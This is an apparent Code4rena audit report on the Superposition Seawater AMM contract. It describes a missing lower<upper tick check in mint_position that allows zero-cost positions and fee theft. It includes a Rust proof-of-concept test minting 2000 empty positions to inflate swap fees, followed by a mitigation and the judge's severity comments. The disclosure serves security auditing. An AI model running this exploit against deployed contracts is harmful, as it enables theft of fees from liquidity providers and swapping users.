Missing lower<upper check in mint_position

[howlbot-integration]

Lines of code

https://github.com/code-423n4/2024-08-superposition/blob/29726230b13f1cf36c925d732d3eca459af1aff5/pkg/seawater/src/lib.rs#L506-L513

Vulnerability details

Details

The current implementation does not perform a check for lower < upper during mint_position, while many other functions assume lower < upper. This discrepancy allows malicious actors to exploit inconsistencies in handling undefined behavior in other parts of the code for their benefit.

1. Case when lower = upper:

   In the StorageTicks::update function, liquidity can be added without issue because only one boundary and the current tick need to be passed, meaning it should function correctly even if the current tick equals the boundary. However, when calculating the amount of tokens required from the user, due to lower = upper, the calculation can only fall into the first and third branches. Here, sqrt_ratio_a_x_96 = sqrt_ratio_a_x_96, and the difference between these two values multiplies the result, leading to a token amount of 0 regardless of liquidity. A malicious user can exploit this implementation discrepancy to open a position with arbitrary liquidity value without consuming any tokens.

/* pkg/seawater/src/pool.rs */
170 | // calculate liquidity change and the amount of each token we need
171 | if delta != 0 {
172 |     let (amount_0, amount_1) = if self.cur_tick.get().sys() < lower {
...
183 | 
184 |         // we're below the range, we need to move right, we'll need more token0
185 |         (
186 |             sqrt_price_math::get_amount_0_delta(
187 |                 tick_math::get_sqrt_ratio_at_tick(lower)?,
188 |                 tick_math::get_sqrt_ratio_at_tick(upper)?,
189 |                 delta,
190 |             )?,
191 |             I256::zero(),
192 |         )
193 |     } else if self.cur_tick.get().sys() < upper {
194 |         // we're inside the range, the liquidity is active and we need both tokens
...
224 |     } else {
...
236 |         // we're above the range, we need to move left, we'll need token1
237 |         (
238 |             I256::zero(),
239 |             sqrt_price_math::get_amount_1_delta(
240 |                 tick_math::get_sqrt_ratio_at_tick(lower)?,
241 |                 tick_math::get_sqrt_ratio_at_tick(upper)?,
242 |                 delta,
243 |             )?,
244 |         )
245 |     };

While the attacker cannot directly profit by closing the position, these positions affect fee calculations. For example, in the provided PoC, the attacker can create a large number of empty positions within their liquidity range to collect significant fees from swapping users, inflating what would normally be a fee of 6 to 1605.

2. Case when lower > upper:

   Unlike the previous case, when lower > upper, it is possible to create a position with both liquidity and balance. However, the potential issue arises when calling the get_fee_growth_inside function to calculate fees. This function also assumes lower < upper in its calculations, and passing lower > upper results in incorrect fee calculations, allowing the attacker to steal fees from other liquidity providers. However, the current implementation of get_fee_growth_inside has a bug where it does not correctly handle overflow as per the Uniswap V3 specification, rendering this exploit temporarily unusable.

Proof of Concept

#[test]
fn lower_upper_eq_poc() {
    test_utils::with_storage::<_, Pools, _>(
        Some(address!("3f1Eae7D46d88F08fc2F8ed27FCb2AB183EB2d0E").into_array()), // sender
        None,
        None,
        None,
        |contract| -> Result<(), Vec<u8>> {
            let token0 = address!("9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0");
            contract.ctor(msg::sender(), Address::ZERO, Address::ZERO)?;
            contract.create_pool_D650_E2_D0(
                token0,
                U256::from_limbs([0, 42942782960, 0, 0]), 
                500,                                      // fee
                10,                                       // tick spacing
                u128::MAX,
            )?;
            contract.enable_pool_579_D_A658(token0, true)?;
            contract.mint_position_B_C5_B086_D(token0, 30000, 50000)?; // Init a normal position
            println!("Create normal position: {:?}", contract.update_position_C_7_F_1_F_740(token0, U256::from(0), 50000).unwrap()); 

            println!("Tick before swap {}", contract.cur_tick181_C6_F_D9(token0).unwrap());
            // Create 500 malicious empty positions
            for i in 0..2000 {
                contract.mint_position_B_C5_B086_D(token0, 30000+i*10, 30000+i*10)?;
                let (amount0, amount1) = contract.update_position_C_7_F_1_F_740(token0, U256::from(1+i), 100000000000).unwrap();
                assert!(amount0 == I256::ZERO && amount1 == I256::ZERO); // Attacker don't need any token
            }
            println!("Victim swap: {:?}", contract.swap_904369_B_E(
                token0,
                true,
                I256::try_from(10000_i32).unwrap(),
                U256::MAX,
            ).unwrap());
            println!("Tick after swap {}", contract.cur_tick181_C6_F_D9(token0).unwrap());
            println!("Refresh position {:?}", contract.update_position_C_7_F_1_F_740(token0, U256::from(0), 0).unwrap());
            println!("Fee owed: {:?}", contract.fees_owed_22_F28_D_B_D(token0, U256::from(0)).unwrap());
            Ok(())
        },
    )
    .unwrap()
}

Tools Used

Manual analysis

Recommended Mitigation Steps

Add assert_or!(lower < upper, Error::InvalidTick) check.

Assessed type

Invalid Validation

[c4-judge]

alex-ppg marked the issue as selected for report

[c4-judge]

alex-ppg marked the issue as satisfactory

[alex-ppg]

The Warden has properly identified that the creation of a position does not sufficiently validate its lower and upper tick values, permitting positions whereby the ticks are inverted or equal to be created with significant consequences.

I consider a high-risk severity rating appropriate and have penalized submissions that simply identified the vulnerability (i.e. as a medium, or simply noted it with no impact justification) by 25% (i.e. rewarded with a partial reward of 75%).